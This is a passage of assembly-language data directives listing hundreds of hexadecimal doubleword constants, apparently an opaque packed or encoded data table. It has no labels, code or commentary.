88DBBBh, 0EDDA797Ch, 1E7F621Ch, 7B6DE08h dd 0C96F0AAAh, 22017485h, 0C4067C8h, 78A0BABDh, 39C21BC3h dd 412A099Dh, 430C608h dd 83A200ACh, 855A38A9h, 809291D9h, 20C71833h, 0A7580390h dd 49A9242Dh, 2800A872h, 9E18B127h, 90BCA1h, 0D6E6DB52h dd 0F99743BFh, 4B00157Ah, 9551A965h, 0C9CA3885h, 0CC08ADD0h dd 1927E250h, 0C680A0D4h, 227E4B32h, 6C923388h, 10131590h dd 10200780h, 2B8DC6h, 0AC4763EEh, 1E347E0Bh, 0ABC0A012h dd 0D5021840h, 4C676C2Bh, 7712C415h, 0C46C0468h, 0C5B4C1E2h dd 0B9E1D3D2h, 39188F41h, 6AFCC7BDh, 5877A191h, 317E4892h dd 0F1B3FDDCh, 0CD084071h, 0A214A9A6h, 1E8C36F6h, 0B071DB85h dd 0CB200B10h, 0F8EC6C59h, 40042B31h, 6F57251Ch, 0EFBC6702h dd 0D8F38460h, 24A20C92h, 68A88975h, 0FC859A44h, 943D5267h dd 0AF14C098h, 7E360490h, 92209859h, 0A0C53CB0h, 43B45724h dd 96BD4326h, 0F22F6010h, 85600135h, 8093B514h, 12201E41h dd 7834A0F8h, 7DE56704h, 53C44B9Ah, 8EEF4380h, 200890A8h dd 132642EEh, 6716E046h, 2F906C01h, 0B08AF4A0h, 884049AEh dd 1C007311h, 50961BEh, 1D88BC7Bh, 31BF599Fh, 0BDBE103Fh dd 33F3009Dh, 2624A815h, 9CA97219h, 5B9C2074h, 24BC7741h dd 0AC163E1Ch, 0E8850644h, 10D3D1A8h, 78A5B05Fh, 0F9290FC8h dd 2D81013Fh, 13B1727h, 0BC508DACh, 26A00860h, 16609793h dd 2F7400F2h, 12AB3DAEh, 491C490h, 8CC4AF08h, 3F48105Ch dd 0B58D1C00h, 7E201276h, 0F1E0029h, 0BDC447C5h, 0A63F70A5h dd 35E80048h, 0B3A17D42h, 9AAE0378h, 878125C1h, 4029D002h dd 44B9BC32h, 0A19F1090h, 2EBF3CC6h, 690740C9h, 1D127EDAh dd 0B28D2FCh, 7B415529h, 7EFD0C2Eh, 4505258Ah, 0F16C899Ch dd 0D57BC30h, 59BB6E1Dh, 8049216h, 0D701CFA1h, 0CC87C114h dd 10E8F92Bh, 63171512h, 582F20Bh, 4A09FA8h, 0A0300CA1h dd 0C2385A8Dh, 279E8E5Ch, 136CE43Ch, 44AB1D06h, 6EEC668h dd 2CD6EAC3h, 80A46288h, 27B4F91Eh, 4CF8BA3Bh, 71C08B40h dd 6C3302A2h, 8D878578h, 30E22C41h, 9C484D00h, 28750F48h dd 83852238h, 23944893h, 14C7741Bh, 0A482BDB2h, 79428C4h dd 9869489Bh, 207E84h, 0F4541630h, 0BC9BA53Eh, 51588300h dd 0E402C33h, 934C98C8h, 478B1DB4h, 0A0801C45h, 57AF7EBBh dd 0EBFBAC02h, 805AF8D9h, 34885FF0h, 36160A35h, 508E980h dd 16637C1Eh, 246C00A0h, 0F809B094h, 0AB5C3271h, 0FB23029Dh dd 0E89BA49Fh, 191BE9DCh, 0D0BE2D58h, 3FF8207Ch, 0BFBC3014h dd 4D7E0070h, 8C057318h, 68AD2832h, 0BBD488ABh, 92930685h dd 8978B34h, 0C689AD00h, 265EFAF0h, 0B001EC95h, 7091A0h dd 2454F4E3h, 428012CDh, 3460007Bh, 0BD599B7Dh, 13F86EBFh dd 0B44C622Eh, 42C7C96Fh, 0E6B44088h, 59DA1346h, 0A01020F9h dd 69000737h, 13B10124h, 0F853F63Ch, 8ABD0794h, 8290BE16h dd 986006BCh, 0E12C2445h, 8B00A0D8h, 800E7B92h, 8564249Bh dd 12DD0E2Eh, 0C5C94224h, 4744859Ch, 2A561CE8h, 859304F0h dd 0F78A830h, 21A59DF0h, 0B1D91E54h, 8830C055h, 7434F78h dd 6DF69A6Ch, 148A69AEh, 258244C8h, 60CC78D4h, 0F9EC3E52h dd 0B93C9381h, 86ED1A29h, 0E4972411h, 16D8B2C0h, 204AFABDh dd 4225A964h, 0D014F624h, 0A4232771h, 501D2613h, 409674B8h dd 0AAD4EF70h, 1E0B8175h, 91A8439Fh, 1829C6ACh, 0C72E9822h dd 1E08D4DAh, 0EAC60FECh, 6FF5C01Ch, 856EE41Dh, 56888E72h dd 966A04A1h, 0E81A2480h, 94142448h, 29FD9C00h, 0C9BBDAEh dd 0D3DFAD3Dh, 0F029AB0h, 858C038Fh, 24FC4855h, 141A487Eh dd 17C7043h, 71022A96h, 240CF01Eh, 0E788DC8h, 101BEB30h dd 0E442B491h, 9FC70D6Ch, 51F887A7h, 642E47C4h, 9EE2C584h dd 0F7C07A00h, 7B14C31Ch, 95FB038Bh, 82D74F26h, 0A79265A8h dd 3190BD00h, 2816AF88h, 93AE0757h, 573C54A5h, 84FDE412h dd 2F012EBh, 0E53E1DD4h, 612840F8h, 6178086h, 0E437E087h dd 51F07A82h, 0C98506C0h, 0A70210D6h, 0CFA619Fh, 0BE4051AAh dd 7F992001h, 30701705h, 6648E640h, 2D92194h, 8F71858Ah dd 429FC481h, 0C3182435h, 93205CBAh, 0A8C05072h, 0DA411792h dd 0E4585C12h, 0B0B108B0h, 1C00D82Ch, 0F7D31AF6h, 75BB00BDh dd 58119F09h, 0C5059C0Eh, 8871E01h, 76A1B80Bh, 415199C4h dd 3A0430EEh, 0A045C92Ch, 0FACB8C1h, 0AFED2600h, 4C984892h dd 80DEEB00h, 3094C062h, 0D257032Bh, 8EB58563h, 0E83FD031h dd 8848A9B1h, 8F252C19h, 5DAC54h, 47C1FF95h, 11787DFBh dd 6032C237h, 0B86E2AC3h, 2E498Ah, 0BE53E3F7h, 0D334FA69h dd 61D7DD1Ch, 5BAAB8C0h, 3FF22Fh, 967B2A48h, 3AEC12Eh dd 0A3027D71h, 93A9F605h, 0C42060FDh, 0BC7C00FEh, 0BB41BD5Eh dd 230F37CAh, 20AD05C8h, 29B66D83h, 0A490289h, 14F3FC26h dd 296BB451h, 646E38h, 4AD07F17h, 2FFA35F9h, 23A7DD00h dd 26BC0B6Ah, 73F3025Bh, 4ACAC7F1h, 248430CCh, 29BC4DF9h dd 42B048B8h, 614454C8h, 0E02CB3Bh, 202B960Ch, 68168FE8h dd 0BDAA0099h, 4DC34B85h, 0F8982802h, 1CE02700h, 1E11A8C5h dd 0C53C5EB3h, 143080ECh, 9F25DA6Fh, 7E0C6071h, 0B010C441h dd 0C91C0382h, 0BE30248Bh, 666F0060h, 76DE69E1h, 8427DA28h dd 0FA63580Bh, 49ACA17Fh, 1731F336h, 284A9FE0h, 7CC8E84h dd 0C5205E0Ah, 0F707C0ADh, 2A485BBEh, 0A8587C48h, 0E01C9ED0h dd 0A1C011F1h, 889DA3E9h, 1B06890Fh, 0DC681C09h, 0B4969A85h dd 10E95908h, 2AC81064h, 0C8067D12h, 0EB07F724h, 7F846B63h dd 92341350h, 49B720A1h, 0F13B094h, 0E4FA305Ch, 0D0A4D839h dd 0A0FA6570h, 267C905Bh, 0A4A1B5FDh, 224C28FEh, 0C789C914h dd 0C5C3B880h, 534C299Ch, 7024C4F0h, 12A5BD03h, 94AA9CD8h dd 14CF2803h, 0E07D56C9h, 0F08F83h, 67309633h, 0FD7B176Ah dd 0BC77A624h, 86B79F06h, 8CAA2C50h, 0D0BF5B14h, 3F59B033h dd 8AD6C30h, 4C90BCh, 0E835CEECh, 0FA8B441Eh, 96F2C401h dd 0E57BF051h, 55338430h, 8433F80Bh, 8C017A27h, 2093C614h dd 8E0080B8h, 0D54AA9FAh, 2F16AB2Ah, 0E8827F26h, 6C605467h dd 114A8865h, 7A42F449h, 3985133Ch, 7CA081CDh, 9B42971h dd 0C058A02Ch, 0A1C7B184h, 4428C6B8h, 0DA617C02h, 0A4914E77h dd 60023F3Eh, 582A1596h, 30AC9888h, 0FD69F9FBh, 0D4F1DAFh dd 0C526FC02h, 0B5D880B4h, 5ADF64h, 955357DEh, 4389A27Dh dd 16775102h, 84EA802Dh, 4E27808h, 0C3FF850Ch, 0C50079B8h dd 7AF02D8Ch, 26A346Fh, 7BFDD84Fh, 0B4403DEFh, 0C000BDBFh dd 0BCA33656h, 9297C4A1h, 0E0B45034h, 0C2AB4040h, 1E9EFB00h dd 0B6CD4888h, 5E275A1Dh, 22A980D8h, 988A800Dh, 0BE37E03h dd 26C2351Eh, 2C24C4E0h, 69FB062Ch, 424F015h, 0E088E078h dd 526000B0h, 243CA57Eh, 68E10726h, 1A281100h, 60621268h dd 0DBAA9E78h, 7D1D74D7h, 0AE930F1Eh, 25511027h, 886422E7h dd 44D745F6h, 9CF00274h, 30E6FF8Ch, 0D7334F03h, 0EB25C9B8h dd 65380031h, 620B7D91h, 2094EFBCh, 129F9B05h, 0F41204D4h dd 52797098h, 661EF448h, 0C87CD396h, 0BF2C85CCh, 0B073070h dd 25813E7Dh, 38693AD4h, 0A000C48Bh, 172F8AA9h, 62027E16h dd 0E18785Dh, 187F2B98h, 31D5AE1Eh, 0A9264B32h, 9D16B8C5h dd 3EC8F8D3h, 9B17AC10h, 0C0D43229h, 10834C4Ah, 3EA9A2ECh dd 744C705Dh, 9C0B25FAh, 0A0F2D485h, 83BC2A10h, 2CAF05BAh dd 0B6E9421Ch, 0EC044B84h dd 14CC5127h, 2D4A408Ah, 0BC364009h, 29C810BDh, 20489056h dd 2E01AD02h, 0EB7E9720h, 98406315h, 9308041Eh, 0BC764BE4h dd 6456FA16h, 0ECBD640Ah, 6009056Fh, 1EE0B017h, 0C5524E0h dd 3BF12044h, 16874F9Eh, 0F728170Eh, 8188C063h, 1104A73Ch dd 79F9FE90h, 0D86B58F7h, 0FC306449h, 0E71C1F4Ah, 888BC6C5h dd 61148943h, 0F9E0BEE0h, 82590971h, 2C094061h, 0F00050EAh dd 0D25EE3E0h, 0CD67250Bh, 264C6814h, 98825053h, 0D7E400B7h dd 2F617349h, 70B4D2C6h, 0C0BE0D41h, 1E791040h, 9451F512h dd 68F8B688h, 1F2700D5h, 2B3FA17h, 0A90EB491h, 5FE85FAFh dd 0F1859945h, 9115A0A0h, 75268B14h, 44295029h, 920D906Eh dd 38771B85h, 0E3FB788Ch, 65069018h, 15A01D8Bh, 203E4C88h dd 0BC91962Dh, 71A8317Bh, 0FC2CF1E8h, 734D854Bh, 0DA51C0FCh dd 4B8E1E15h, 85CC38D7h, 4005A95Ah, 5C024F78h, 0C1532B46h dd 99006FC4h, 0C731A02Dh, 0A2C4209Ah, 6724DC32h, 0A1461E0h dd 846875FEh, 0C3271E68h, 0F4C050AFh, 75A4A20Bh, 8DF054E4h dd 8C22355Fh, 5C9058BFh, 0C094749Ah, 0E64D1E09h, 822C82Bh dd 8C0861D6h, 0B312E9B1h, 15C51064h, 0C8B7858Eh, 4000E85Dh dd 0A7655EC9h, 0A4A40295h, 0B01C060Bh, 0D920983Ah, 582683E7h dd 42633069h, 161805CBh, 29E91Eh, 64D5F9CCh, 8B1D7630h dd 46981D8Eh, 5410A398h, 0BC8F6C7Fh, 0D19F41C0h, 51FC35B8h dd 749D1C88h, 0E8A1C820h, 0BEFE3023h, 2C9438B8h, 102C1193h dd 0B82252F4h, 649D8C44h, 816E48D3h, 4556E070h, 66E0888Ch dd 1942F40h, 44472EFCh, 743DA924h, 1044E98Ch, 0C0417F1Ch dd 0AC5FAC8h, 7D029487h, 6964A205h, 6D74075h, 5A3B0E26h dd 3A29B985h, 0A0AC8045h, 17FC02ADh, 0EE98C82Ah, 7ECCA06Dh dd 4C141C61h, 8822C2DCh, 40402072h, 0FC027D78h, 0C53D472Dh dd 255CE0BBh, 14DB3012h, 59D2EAA8h, 884FC924h, 0C3765000h dd 18B0FD75h, 0B869CD1Dh, 2B7BC5F5h, 0C230886Fh, 0C823059Bh dd 269C0h, 572809B3h, 2A813784h, 0DE61BFB8h, 0BF8A6560h dd 0BF071CAh, 8A0503Fh, 7AB3A947h, 81151620h, 607C7808h dd 0F8651E18h, 1500FCDCh, 7D974360h, 986AA06h, 0D11E4689h dd 630970DCh, 175450C0h, 0C7879285h, 6C92AB60h, 4C79D8C0h dd 1A854E04h, 0C4C83D9Ch, 479B82Fh, 17E8BA3Bh, 0C23CC244h dd 960CC080h, 4AFA7A20h, 5530957Ch, 0FD2618DEh, 0A9089A45h dd 1FA7D04h, 22F4C2ADh, 2AE3C12Ch, 4197D088h, 7514045Fh dd 6614800Ch, 89741DA6h, 0D0EAB4A0h, 649C960Bh, 0D4CC4C6h dd 7D5C25C7h, 78702830h, 862372Ah, 7CCC974Ah, 1AE4B878h dd 0A9B89626h, 1504A80Fh, 741C028Bh, 0B10CF2FFh, 3D9F0408h dd 24950033h, 1E5AC2B2h, 148FFD83h, 484C08FCh, 9C221E2Fh dd 3881E2C4h, 22984E9Fh, 2A168554h, 8E1EA4E2h, 0FA7A18h dd 0BDAA231Dh, 0C4F9EE9Bh, 24281C1Fh, 0B4FAFC40h, 79B793C3h dd 5A232F27h, 8C485412h, 0AB3F33B9h, 48D21C29h, 8FC62744h dd 15140090h, 442512C1h, 1A400ED4h, 63F78C0h, 3A40C954h dd 2CACB801h, 6100958Ah, 2BF29085h, 2E108040h, 5A25BBE2h dd 7B1409E5h, 6596CC83h, 0F5E087Ch, 548050C4h, 0B0395h dd 80DDE3A0h, 7A6732B6h, 1D54535Ch, 0EE5CCB8Fh, 3DA78C01h dd 0B4210E90h, 7F3C84C6h, 282F7CA8h, 0CE24899h, 80CB4BACh dd 0A02A9368h, 49D47A54h, 8481F000h, 0D856C62h, 180701E6h dd 5A243FB6h, 828C7C14h, 697AA625h, 58E0054Ch, 0DE110081h dd 2C60142Bh, 835FFEA5h, 61336830h, 0FD95270Bh, 2CBBDC01h dd 10CED8ABh, 0C9245001h, 683C139Eh, 8CF4EC44h, 65EA4EC8h dd 254893BCh, 824CC7ACh, 8C44272Eh, 735AAB7Ch, 95B60400h dd 25DDB897h, 0AC03C99Fh, 501B6DB1h, 0B096FB3h, 80581E11h dd 2094386Eh, 16CDC288h, 3FC0C824h, 197DEF8h, 0E15727B0h dd 7B86EF0h, 94C587FDh, 3FCA502Fh, 58913059h, 27284025h dd 0A0188056h, 0FDED6312h, 658DF400h, 5D411D89h, 0C02C281Eh dd 0D0F500AFh, 2E77795Ch, 68E1F700h, 0FDE67262h, 0E909815h dd 0F80FCE65h, 4D78A881h, 0FCB6C120h, 6000CB69h, 743E9E2Eh dd 2626227Ch, 57CDDDCh, 0B6F13A0h, 4C437A88h, 8AB0C0B7h dd 990BC5C1h, 29CC52A1h, 2CCF844h, 7DB79242h, 0CC407978h dd 0B8C1D2B3h, 0EB801E7Ch, 94174C62h, 4C803026h, 7CA096F1h dd 0C5813C41h, 9F0C6479h, 9B48D5F8h, 9C07B8B9h, 2511B365h dd 302474A9h, 313202EBh, 31CC567h, 994E1CF0h, 0D060A029h dd 68F95DB4h, 0A8859381h, 0DA882026h, 0BF3B1F01h, 1B15E510h dd 2585AC34h, 50CA64C1h, 9D138800h, 689E759Bh, 18B4E02Ch dd 7D0B6C88h, 9B89C1Eh, 5014FAC8h, 91CA80Ch, 0AA12083h dd 8C38F4E3h, 68E48CF0h, 4A00CA59h, 0F6DB864Bh, 3BCBDEDh dd 0C85EE88h, 9CB82AB6h, 0AD00C9D7h, 4232E82Bh, 0E109EBDh dd 18DC8CBEh, 6787E7E9h, 0DAA12EFFh, 0B0298B65h, 859811E6h dd 0EFC9614h, 0A3CF5227h, 813DCFA4h, 0C16A1EECh, 17827AEh dd 0FC2B3E27h, 647D8A9Dh, 0F000DC58h, 7123134Dh, 62260DDEh dd 0DC429C54h, 2A644008h, 266C9EB7h, 9DEB03CCh, 0C4042F80h dd 1250C6BBh, 283C8F4h, 0D79706C1h, 0DCC06188h, 5B51E985h dd 450CAC0h, 7CC42555h, 8C880FA0h, 0E0C8D66Fh, 29E741AEh dd 0BA27228Ch, 4078BC78h, 1DCA25C3h, 227C3C92h, 78113E1Dh dd 4FFD18BEh, 98AE1718h, 281825F4h, 0BBBEE490h, 452FF8A4h dd 489092C9h, 412AA280h, 25443449h, 6E0CC4Dh, 3866A02Fh dd 9434F048h, 50981600h, 59882CA8h, 0F172CD02h, 0D864706Fh dd 55A25060h, 6528BF63h, 0D1601274h, 2FC48A16h, 81389698h dd 0D0511408h, 0B420E172h, 962C0094h, 857EE357h, 0ACA063F5h dd 757F1EF7h, 798FBF12h, 0B58EDC80h, 0D8AC00E9h, 431DE820h dd 6D4BA03Dh, 4F07E090h, 9D852E78h, 310903BCh, 0CB2B6F7h dd 0F626E8C0h, 0D0840200h, 980B9DBDh, 9FC20893h, 0A70299F2h dd 0E85E858Ch, 9653278Ch, 0C8A144C8h, 58B11690h, 251EC438h dd 0FC80017Ah, 65EB83C0h, 569FF90Ch, 2309937h, 50222F14h dd 0FEC0A5BEh, 0B163AB84h, 680D70h, 5ED945F0h, 0C94E7812h dd 0E82F1600h, 8DFA87BDh, 280B0017h, 0EC018550h, 0A70C65D1h dd 11861829h, 14BF50BDh, 2B1E34A0h, 80AC8078h, 42268FA2h dd 0EE0C5445h, 793D0F5h, 211D98FDh, 8E88BDBh, 6C9022E4h dd 20388541h, 35C9A3CFh, 901648C4h, 0A4F07785h, 60C94A41h dd 2221C04h, 406388A1h, 6D246990h, 2C009C5Fh, 95C33FB5h dd 0BD4538B6h, 6810A580h, 3D94F530h, 6EA18E16h, 0D34CF480h dd 0EA910017h, 0BE12AD6Dh, 0F2012F90h, 4F89B21Bh, 806A8FC2h dd 4A2E2BD4h, 0B5C0E4A3h, 0DF168C23h, 0FC017E63h, 2DE01E12h dd 88FE9081h, 0F4FC94C6h, 3A3D756Eh, 761D0B68h, 0F7702534h dd 0C6E4B400h, 5DC7B0D8h, 405DF0FFh, 7F84850Ch, 727526F8h dd 7D36F1C4h, 0CAC85081h, 4539103Dh, 0E0D05FA4h, 7B6D8591h dd 4943D4Ah, 0FC5944B9h, 9F804393h, 60008C44h, 40121BDCh dd 4A1A260Eh, 90A8844Eh, 0FDE58510h, 3012F8BAh, 8F19F24h dd 0BAC9A800h, 1D9A0C8Ch, 3EA062EFh, 4024A171h, 6400BCEBh dd 66E97D17h, 414B008Eh, 271232DDh, 0A8944AC0h, 38D1F541h dd 133C28DCh, 0C0CB88EEh, 299679F0h, 0E7422C94h, 0F8AD00DEh dd 0A01B145Eh, 88484D38h dd 52F11EFh, 0E9FDF318h, 211C5295h, 5748854h, 5C26D0Bh dd 0B44B7F90h, 412CE012h, 4F3491F9h, 8F812E48h, 0EB269512h dd 882156F1h, 612EC5CDh, 0B298E4h, 7AC8A54Bh, 0C3251970h dd 41B37863h, 2E08A714h, 0C5C0DC01h, 46C299Fh, 45B19285h dd 0D1991E14h, 2E842528h, 0ABFD7802h, 3F3C91B3h, 0DBE89021h dd 0C3E2019Bh, 2FF54E77h, 0A345CC3Dh, 0DC41100h, 4223E98Eh dd 4C7DF385h, 3A242A09h, 1CB060D2h, 0A6659004h, 0A4F80395h dd 0B5110685h, 84CC45E0h, 0D95C8005h, 9C906AB5h, 0B802DD26h dd 4B560C09h, 4869BF48h, 1A46494h, 28965BFFh, 70890D4Fh dd 1E1203D6h, 1C005CF9h, 0F53AEF42h, 0EB68000Eh, 0A1933DACh dd 9095CBD7h, 1252BFACh, 2999D24h, 66BE1BF4h, 1DD26440h dd 0D488CD28h, 0EEE9ED0Fh, 0A4F48E1Eh, 4C82FF94h, 31AC4140h dd 144870FEh, 94FB1F56h, 49190078h, 0A1A85DE7h, 70C0292Eh dd 399F2895h, 0CDB13ACBh, 9833A981h, 23AC0420h, 88F11E5Ch dd 5660FD00h, 481F926h, 4AE933C0h, 0BFACC0A8h, 0E30121D6h dd 7D962E57h, 0FF34B49Fh, 0A1020394h, 0FD4CF784h, 379E1D88h dd 0BC39C0C7h, 12C9F9D3h, 46EE668h, 3C8F4D4h, 16FA2354h dd 0C786B8h, 11A44427h, 5B01F9C2h, 7D9B040Bh, 9DEC55A5h dd 391E172Dh, 9EBC436Dh, 0C13E41A1h, 7AB58094h, 0EB7DA9F1h dd 0D89D071Ch, 1012F634h, 53986664h, 171DF8FCh, 254914EEh dd 183C6008h, 693D0567h, 0C1D85C7Eh, 65EA8D64h, 9723F868h dd 64630904h, 0E0E74394h, 0A092922Fh, 85F29050h, 201DDB34h dd 295A88B3h, 68502108h, 31D330F8h, 5CB458F2h, 0C825ECA0h dd 23C064A4h, 9EB8E377h, 168B0719h, 102855A7h, 0EDFF0244h dd 8EFDDE00h, 6F3294C5h, 3E4124B0h, 0AAB942B0h, 0C824762Eh dd 9A0BC8B0h, 4DCB1C0h, 947E6CA0h, 0C5D4AC54h, 4CF10D40h dd 31182029h, 0C7AD289Dh, 82E4FA4Ch, 5CA59826h, 0B9496054h dd 1E13231Bh, 6480C8E7h, 49EEA1AFh, 2B00049Fh, 0DA3B27FCh dd 9709E4D7h, 20570124h, 7CF307B8h, 44C4B839h, 0D28A9B3Ah dd 0CBBF3254h, 0BA406E58h, 3E7EF8C3h, 3CABD402h, 695207A0h dd 843CCBACh, 0ACD8F985h, 0BCCD10C0h, 888B1438h, 0D4189B70h dd 0A6642785h, 9CE111h, 0A4600D8h, 0A869C695h, 0AF002764h dd 0B6C824F9h, 581D9FD1h, 0AA091CDFh, 50F69C25h, 16F02D06h dd 0A11C1D41h, 14B22FEDh, 85124470h, 4440D1EEh, 501CFF1Bh dd 8CBD00CFh, 0C641A978h, 0E025679Fh, 74F090FDh, 4BCB1362h dd 2060E5AFh, 0C12D7728h, 963C9895h, 28F948FCh, 0C8E56F15h dd 1411A809h, 0C39F0830h, 127424E3h, 7B91F61Dh, 0D823880Fh dd 93D3299h, 89E85F2Fh, 79B68C80h, 0DE00094Dh, 55A81424h dd 76DFB493h, 0E7EF02E9h, 6C853F32h, 2607847Eh, 514B4D2Bh dd 8C21BCh, 25B92494h, 0FD0AB2C9h, 8FC95AFh, 0C4951313h dd 30E41084h, 92289E96h, 671C4421h, 0DFF4E954h, 0AFB7404Eh dd 0A1AD4384h, 0C8CCBCA3h, 6C220027h, 0BC892D33h, 0A0028681h dd 31E82599h, 7594E040h, 0AFE0179h, 4814277Eh, 4A907C45h dd 44105CDCh, 3891C43Fh, 0C55BF80h, 4186209Fh, 70004257h dd 6A98E841h, 379F7C20h, 202EF1D2h, 9DC5C68Ch, 36541700h dd 0BDCED73Ah, 0CFB70083h, 0CA837D2h, 0CD2A859Ch, 3003CCC4h dd 0F57614A0h, 2F2FE787h, 8CCD923Ch, 0A0C4A0DCh, 0B8D6F1B4h dd 0E0853EC7h, 0B4B888CEh, 62FB021Ch, 748D9F06h, 2C930138h dd 243EAF29h, 0A0C57EC9h, 3865D895h, 0C116A4F6h, 2220A31Ah dd 20349011h, 0A5B56067h, 98B0C04Ch, 88FF09DCh, 0BC2A5D12h dd 0BBDE8B88h, 6685447Bh, 0C0E00D87h, 7ABB3E9Fh, 0C260884Bh dd 7308849Eh, 205400C1h, 3A5229FCh, 0E7B58002h, 822B44B2h dd 0A7F088E8h, 80FBD7E0h, 25AE261Bh, 2C109CB2h, 470F0C01h dd 9495C248h, 0C4830B48h, 4E27992h, 30AC1C7Ch, 2D1FBE08h dd 23062481h, 85B44CD1h, 0E895E730h, 1EBC2627h, 0BE38D17h dd 0E09443A8h, 170AF405h, 7C90EBA0h, 582A59D8h, 0B11668F6h dd 82BC8598h, 0ECFA8AB0h, 0CD2C9092h, 9406C803h, 1E71D785h dd 16A4222Eh, 0F600E0F0h, 0DC021099h, 54C46201h, 0C8929738h dd 60C565D0h, 45AA7DF7h, 0ADED45ECh, 0E03E64h, 90BABEEAh dd 0BAE71DCEh, 858F16BCh, 141CA015h, 0EFEE4B00h, 90C5B216h dd 137E090Eh, 0C4546017h, 70960C0Ch, 24B40B07h, 78E35FE7h dd 139D9004h, 0F0F8FEA1h, 164F6000h, 2C8DC324h, 4B6FED07h dd 218C6332h, 23480CF0h, 5B80ACC6h, 4B158C40h, 0F664C854h dd 0D2880C96h, 362700B5h, 106034A4h, 0A112B0E6h, 8025A0C0h dd 95840404h, 150F140Eh, 73A06C4h, 9610BDACh, 7750D6h dd 0B1920CA9h, 0FFE9E8A4h, 79B89F18h, 0F4F4C528h, 0B089092Bh dd 0E0F04985h, 991BA71Fh, 941F6A92h, 0A11A2F09h, 0FD0B535Ch dd 5A0A1DF8h, 9034806Bh, 0B6B09518h, 0BD1F46F0h, 612791BFh dd 5713528h, 0FCCC246Eh, 40D8D738h, 480971Fh, 0B5C4B90h dd 978B0C17h, 28B2E806h, 0B6FE04C0h, 0E0F725A7h, 42501B48h dd 7D2506C8h, 26E844CBh, 2ED48965h, 252993B4h, 0A21800D4h dd 6CE91CFAh, 0CA206090h, 0F2C300CDh, 5BA7C615h, 0FC0B0CB7h dd 4157D396h, 0F8249D28h, 32340245h, 53C8A1AAh, 0A08FF876h dd 8B4223BFh, 49F9C096h, 7A2C2659h, 0AC1084h, 0FA5EBFA7h dd 0F974D7Eh, 64A288CCh, 92FD4BA1h, 82806867h, 8199151Ch dd 79857B84h, 4601082Ch, 0A196340Fh, 22E461A0h, 487B802Ch dd 0D83E32Dh, 0BDE224A5h, 1E7AC8F8h, 6251A460h, 0CB63F7h dd 0F8B3D967h, 6E73DCEDh, 1E87A300h, 2815FC7Eh, 0D8E00F36h dd 0A0019CF4h, 712454ABh, 3C8EF088h, 34070301h, 0C7B4A198h dd 2A7B8040h, 0D5F3D18h, 8F94095Ah, 78B06470h, 9C21AF5Bh dd 127B2A91h, 8664E6FCh, 95F024E6h, 7F2D1C00h, 0C826F89Dh dd 0C900CD10h, 3506E605h, 682C04B6h, 81EB660Dh, 2073A450h dd 0F500EDA8h, 0DE331C89h, 0A81E35h, 49BDBE24h, 0E72A0BAh dd 8B9FCCF4h, 0BC0D9A4h, 3E016CAFh, 40315388h, 0D19D0FD8h dd 101CD259h, 0E1008147h, 0E72B8C0Dh, 0B94D039Fh, 0F0A293F0h dd 0EE0BC08Bh, 0C405CC89h, 93D8BC79h, 0CA65416h, 10181C09h dd 0CC963070h, 46ACE642h, 0A24D056Ch, 0C7362C94h, 7401CBABh dd 6A52CA1Eh, 4EE60C21h, 612EBC20h, 0D29B586Bh, 80D87CECh dd 0A17D2C66h, 9DBB0315h, 8EEAC565h, 0D1BEE0C3h, 8EF93B27h dd 3E8B48FCh, 0D9E93600h, 5140101Bh, 0C1080C9Ch, 498E009Fh dd 562894DFh, 451E50B8h, 8008D8Ch, 0BD39ACCEh, 7D532481h dd 1E790714h, 72B07C30h, 71BF2903h, 0FB643E3Ch, 1CBBA08Fh dd 0F2C9A5Eh, 22DA2F8Bh, 176874Eh, 1940911Fh, 0A8DC2095h dd 0FC54C040h, 967D03FAh, 0CB746702h, 1C2823A8h, 0AD59500h dd 72BBBDE8h, 232F6B1h, 69C0B60h, 7CCCB929h, 7FB8A54Dh dd 45D61E18h, 0BC3E80h, 0E2021B29h, 8592BEB4h, 0A0FC6825h dd 0EFC857C8h, 913C064Bh, 908F1AA1h, 8C25AA16h, 0C798E4D3h dd 16139631h, 59F888FCh, 1E01B08Eh, 0A8FCC21Ah, 0DC402A98h dd 0B41DE9C6h, 4380D678h, 801F7EE8h, 0C42010AAh, 65B18F5h dd 1A853AD6h, 1EEA90C1h, 386CEB32h, 2744503Ch, 6C80AB26h dd 25BFD5C2h, 9CAE2A26h, 60B284Ah, 3A3CF2D4h, 22408560h dd 90ED2B2Dh, 251334F8h, 24254F79h, 0C38CE93Eh, 989C585h dd 243A7D8h, 4ABCA076h dd 1785B0D8h, 0B73AB08Bh, 5C005E6Ch, 0D98C3F1Ah, 379F241h dd 9EC59C57h, 11A6FBABh, 0EF55C100h, 0D600489h, 50EB1842h dd 96A0F4BAh, 0B3C048EBh, 0F7B86240h, 0E602EAF4h, 204B60F2h dd 9C858C57h, 130C18B2h, 0E02D207Eh, 6C8D8941h, 3CAF014Ch dd 3092CE14h, 17839FDCh, 4BE67029h, 5CF8D77Ch, 4A2E9400h dd 7D882D81h, 7560008Bh, 100C738Ah, 0C700A380h, 0E5B07F04h dd 27A0121Bh, 7498A299h, 0C9005E05h, 0CCC14A70h, 0B065A8FFh dd 27962D9Fh, 23858868h, 323B1E25h, 68A4569Ch, 2C2741B4h dd 0FC202E46h, 0D8775F26h, 0BD9F2811h, 94800597h, 0D1000B3h dd 1B2700C5h, 8D5925F8h, 7DA400BCh, 0B6014E89h, 8C28242Ah dd 0DC9CAC27h, 0A1A86501h, 8440D349h, 26170C7Bh, 83343EAFh dd 3F6325ACh, 17FD3020h, 8847CCA2h, 0BB312544h, 40121076h dd 0BC40683Ch, 4A6C98E5h, 0ADE40BB2h, 0FBC28C20h, 92FC83FAh dd 95380CB8h, 7445892Ah, 2698F87Fh, 16481346h, 2858F08Fh dd 91E0B0F0h, 0CEF02D02h, 0C0AAFD5Eh, 1E7FFA68h, 8743FC96h dd 0D0659FA1h, 0AF199B1Dh, 76603295h, 1E78E060h, 28C93115h dd 789072FCh, 0A2B316C5h, 4BF4A807h, 1CD00839h, 0BDBC9040h dd 1B058881h, 9DB43078h, 17E08841h, 87BD0EB3h, 0C522A396h dd 0A8E3B2E9h, 837D113Dh, 0F5E3B1B4h, 7306C854h, 5F6EFBA7h dd 2B4970E0h, 203E4E78h, 3DF30A24h, 6A004422h, 7708BDCDh dd 0F9881632h, 68FCB44Eh, 0CEFDE120h, 1C8577E8h, 94D0CC80h dd 58A4A8B9h, 0FF782589h, 0F17308A1h, 0C0F42892h, 278599C1h dd 789A9Dh, 0A5CB0318h, 309A2623h, 2CCA0B5h, 0ECE1ACBDh dd 0A8130432h, 0D3B42609h, 9284C55Ch, 9F8E682Ch, 4DC26C40h dd 8C9289BDh, 0CCDA2A2Eh, 0C06484A7h, 